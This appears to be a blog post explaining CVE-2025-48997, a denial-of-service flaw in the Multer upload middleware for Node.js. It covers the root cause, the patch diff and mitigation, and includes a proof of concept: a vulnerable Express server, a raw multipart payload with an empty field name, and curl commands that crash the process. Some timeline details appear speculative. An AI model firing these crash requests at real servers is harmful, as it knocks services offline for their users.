The Empty Threat: How a Blank Field Name Crashed Servers (CVE-2025-48997 in Multer)

Robert Morgan

Robert Morgan

— 8 min read

Ever thought an empty string could bring your server to its knees? Well, buckle up, because that's exactly what happened with CVE-2025-48997, a Denial of Service (DoS) vulnerability in Multer, the popular Node.js middleware for handling multipart/form-data (primarily used for file uploads). If your Node.js application uses Multer for file uploads, this one's for you!

TL;DR / Executive Summary

CVE-2025-48997 affects Multer versions >=1.4.4-lts.1 and <2.0.1. A specially crafted file upload request, specifically one with an empty string as a field name for a file, can cause an unhandled exception within Multer. This exception, if not caught by higher-level application error handlers (which is often the case for such low-level errors), crashes the entire Node.js process, leading to a Denial of Service. The vulnerability is relatively easy to exploit. The fix is straightforward: upgrade Multer to version 2.0.1 or later. No official CVSS score was available at the time of writing, but similar DoS vulnerabilities often range from Medium to High severity, depending on the ease of exploitation and impact.

Introduction: The Unassuming Upload Field

Picture this: your web application has a perfectly normal file upload feature. Users upload profile pictures, documents, cat videos – the usual. Under the hood, if you're in the Node.js ecosystem, there's a good chance you're using Multer to handle these multipart/form-data requests. It's a workhorse, diligently parsing data and saving files. But what if a seemingly innocuous, almost invisible detail – an empty field name – could be the digital equivalent of a wrench in the gears?

That's the crux of CVE-2025-48997. This isn't about a complex buffer overflow or a tricky SQL injection. It's about how a piece of software reacts when it encounters data it doesn't quite expect, in a place it really expects something specific. For developers and security professionals, this CVE is a stark reminder: even the simplest inputs, if not validated or handled robustly, can have significant consequences. A crashed server means downtime, unhappy users, and potentially lost revenue. So, let's dive into how this "empty threat" works.

Technical Deep Dive: When a Name Is Not a Name

Multer's job is to parse incoming multipart/form-data. This format is structured with boundaries separating different parts of the payload. Each part typically has headers, including one that specifies the name of the form field. For files, this name attribute is crucial for Multer to associate the file stream with the correct field in your application logic (e.g., req.file or req.files).

Vulnerability Details & Root Cause Analysis

The vulnerability in Multer (versions >=1.4.4-lts.1 and <2.0.1) lies in how it processes file parts when the fieldname is an empty string. Internally, Multer relies on the busboy library to parse the multipart stream. When busboy emits a 'file' event, it provides the fieldname, fileStream, and other metadata.

In the vulnerable versions, Multer's makeMiddleware.js didn't explicitly check if fieldname was null or an empty string before proceeding with operations that assumed a valid fieldname.

Let's use an analogy: Imagine a mailroom clerk (Multer) who receives packages (file uploads). Each package is supposed to have a recipient's name (the fieldname) clearly written on it. The clerk's process involves logging this name. But what if a package arrives with the recipient name field completely blank? The clerk, not programmed to handle this specific anomaly, tries to log a non-existent name, causing their system to error out and the entire mailroom (your Node.js process) to shut down.

The unhandled exception occurs because subsequent code paths might try to use this fieldname in a way that's not safe for empty or null values, leading to a runtime error that, if unhandled, crashes the Node.js process.

Attack Vectors

An attacker can exploit this vulnerability by sending a crafted HTTP POST request with Content-Type: multipart/form-data. This request would include a file part where the name attribute in the Content-Disposition header is an empty string.

For example, a part of the malicious payload might look like this:

--boundary-example
Content-Disposition: form-data; name=""; filename="malicious.txt"
Content-Type: text/plain

This is the content of the malicious file.
--boundary-example--

The key here is name="".

Business Impact

The primary impact is Denial of Service (DoS).

  • Service Unavailability: A successful exploit crashes the application process. If the process isn't automatically restarted (e.g., by a process manager like PM2, or in a containerized environment like Kubernetes), the service remains down.
  • Repeated Attacks: Attackers can repeatedly send such requests, keeping the service offline or causing a "flapping" state where it constantly restarts and crashes.
  • Resource Consumption (Minor): While the main impact is the crash, repeated restarts can consume server resources.
  • Reputational Damage: Frequent downtime can erode user trust.

For any application relying on file uploads processed by a vulnerable Multer version, this is a significant concern.

Proof of Concept (PoC)

Let's demonstrate this with a simplified example.

1. Setup a Vulnerable Express Server:

First, ensure you have a vulnerable version of Multer installed (e.g., npm install multer@1.4.5-lts.1).

// server.js (Theoretical Example - using a vulnerable Multer version)
const express = require('express');
const multer = require('multer'); // Version >=1.4.4-lts.1, <2.0.1

const app = express();
const port = 3000;

// Configure Multer (basic storage)
const storage = multer.memoryStorage();
const upload = multer({ storage: storage });

// Endpoint for file upload
app.post('/upload', upload.single('somefile'), (req, res) => {
  // If we reach here, Multer processed the file
  // 'somefile' is the expected field name
  if (req.file) {
    res.send(`File uploaded successfully: ${req.file.originalname}`);
  } else {
    res.status(400).send('File upload failed.');
  }
});

// Basic error handler (may not catch the specific crash from Multer)
app.use((err, req, res, next) => {
  console.error("Unhandled application error:", err.stack);
  res.status(500).send('Something broke!');
});

app.listen(port, () => {
  console.log(`Vulnerable server listening on port ${port}`);
  console.log(`Using Multer version: ${require('multer/package.json').version}`);
});

2. Craft the Malicious Request:

You can use curl to send the malicious request. Create a dummy file, say test.txt.

# Create a dummy file
echo "test content" > test.txt

# Send the malicious request using curl
# Replace 'YOUR_BOUNDARY_STRING' with any unique string
curl -X POST -F ":@test.txt" http://localhost:3000/upload
# The key is `name=""` which curl translates from an empty field name before the @
# An alternative way to represent this with explicit headers:
# curl -X POST http://localhost:3000/upload \
#   -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
#   --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=""; filename="test.txt"\r\nContent-Type: text/plain\r\n\r\nThis is a test file content.\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\r\n'

When you run the curl command against the server with a vulnerable Multer version, you should observe the Node.js process crashing. The console output of the server will likely show an unhandled exception originating from within Multer's internals.

The test case added in the Multer library itself for this issue (test/error-handling.js) provides a programmatic way to see this:

// Snippet from Multer's test suite (illustrative)
// form.append('', util.file('small0.dat'))
// This 'form.append' with an empty string as the first argument
// simulates the problematic request.

Mitigation and Remediation

The good news is that fixing CVE-2025-48997 is straightforward.

1. Immediate Fix: Upgrade Multer

The primary and most effective solution is to upgrade Multer to version 2.0.1 or later.

npm install multer@latest
# or
yarn add multer@latest

Verify the update in your package.json and package-lock.json or yarn.lock.

Patch Analysis: What Changed?

The fix, introduced in commit 35a3272b611945155e046dd5cef11088587635e9, is quite simple and elegant. It involves adding a check at the beginning of the file event handler in lib/make-middleware.js:

--- a/lib/make-middleware.js
+++ b/lib/make-middleware.js
@@ -101,6 +101,8 @@ function makeMiddleware (setup) {
 
     // handle files
     busboy.on('file', function (fieldname, fileStream, { filename, encoding, mimeType }) {
+      // If fieldname is null or undefined (which an empty string might become after some processing,
+      // or if busboy emits it as such for an empty name attribute), abort.
+      if (fieldname == null) return abortWithCode('MISSING_FIELD_NAME')
+
       // don't attach to the files object, if there is no file
       if (!filename) return fileStream.resume()

Why this fix works:
The added line if (fieldname == null) return abortWithCode('MISSING_FIELD_NAME') directly addresses the root cause.

  • It explicitly checks if fieldname is null (or undefined, due to == loose equality). While the PoC uses an empty string "", how busboy or intermediate layers process this before it hits this specific event handler could result in null or a similar problematic value.
  • If the fieldname is missing or invalid, Multer now calls abortWithCode('MISSING_FIELD_NAME'). This function gracefully terminates the processing of that specific request with a structured error, rather than letting an unhandled exception propagate and crash the entire process.
  • The application can then catch this specific error (e.g., err.code === 'MISSING_FIELD_NAME') and handle it appropriately, perhaps by sending a 400 Bad Request response to the client.

This is a classic example of robust input validation and error handling preventing a crash.

2. Long-Term Solutions & Best Practices

  • Dependency Management: Regularly update your dependencies. Use tools like npm audit or Snyk to identify known vulnerabilities in your project's dependencies.
  • Input Validation: While Multer fixed this internally, always practice defense-in-depth. Validate inputs at your application layer where possible.
  • Robust Error Handling: Implement comprehensive error handling in your Express application to catch and manage unexpected errors, preventing them from crashing the process.
  • Process Management: Run your Node.js applications using a process manager (like PM2, nodemon for development, or systemd scripts) or within an orchestrator (like Kubernetes) that can automatically restart crashed processes. This doesn't fix the vulnerability but mitigates the impact of a crash.

3. Verification Steps

  • After upgrading Multer, re-run the Proof of Concept exploit.
  • The server should no longer crash. Instead, you should receive an error response (or Multer will simply ignore the file if no fieldname is provided, depending on the exact behavior of the patched version when abortWithCode is called). The key is that the process does not terminate. The test case added in Multer confirms it now emits an error with code MISSING_FIELD_NAME.

Timeline of CVE-2025-48997

While CVE-2025-48997 has a "future" publish date (common for NVD placeholders), the issue itself was addressed earlier based on its GitHub Security Advisory (GHSA-g5hg-p3ph-g8qg).

  • Discovery Date (Issue Reported on GitHub): January 29, 2024 (via GitHub issue #1233 by dolevf)
  • Vendor Notification: Implicitly January 29, 2024, through the public GitHub issue.
  • Patch Development (Commit & PR Merge): The fix was committed (35a3272b6119) and merged via Pull Request #1256 on February 27, 2024.
  • Patch Availability (Multer 2.0.1 Released): February 27, 2024.
  • Public Disclosure (GHSA Published): February 27, 2024 (GHSA-g5hg-p3ph-g8qg).
  • CVE ID Assigned & Published: CVE-2025-48997 (NVD publish date listed as June 03/05, 2025, likely a placeholder).

Behind the Scenes: This vulnerability appears to have been discovered and reported responsibly through Multer's GitHub issue tracker. The maintainers were quick to acknowledge and address it, providing a patch in a timely manner. This highlights the strength of open-source communities in identifying and fixing security flaws.

Lessons Learned: The Devil in the Details

This CVE, while simple in its mechanics, offers valuable lessons:

  1. Validate Everything, Especially Boundaries: Field names in multipart/form-data are fundamental. Assuming they'll always be present and valid is a pitfall. Always validate inputs, especially those that define structure or identity. An empty string might seem harmless, but it can be an unexpected edge case.
  2. Unhandled Exceptions are Silent Killers: In Node.js, an unhandled exception in the main event loop can bring down the entire process. Robust try...catch blocks and global error handlers are crucial, but sometimes errors from underlying libraries can bypass these if not handled correctly by the library itself.
  3. The Importance of "Negative" Testing: Test not just for what should work, but also for what shouldn't, or what happens with malformed/unexpected data. Sending empty strings, nulls, overly long strings, or incorrect data types to various inputs can uncover such vulnerabilities.

One Key Takeaway:
Never underestimate the destructive power of an "empty" input. What seems like a void can, in fact, be a carefully aimed cannonball if your code isn't prepared to handle the unexpected absence of data.

References and Further Reading

Stay vigilant, keep your dependencies updated, and always be suspicious of inputs! What's the most surprising "simple" bug you've encountered that had major security implications? Share your thoughts in the comments!

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